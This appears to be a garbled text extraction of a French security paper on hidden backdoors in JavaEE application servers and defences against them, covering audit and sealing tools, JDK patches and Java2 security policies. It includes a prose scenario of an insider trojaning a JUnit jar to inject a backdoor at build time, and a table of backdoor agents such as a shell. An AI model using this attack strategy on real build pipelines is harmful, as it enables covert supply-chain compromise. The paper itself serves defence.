$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
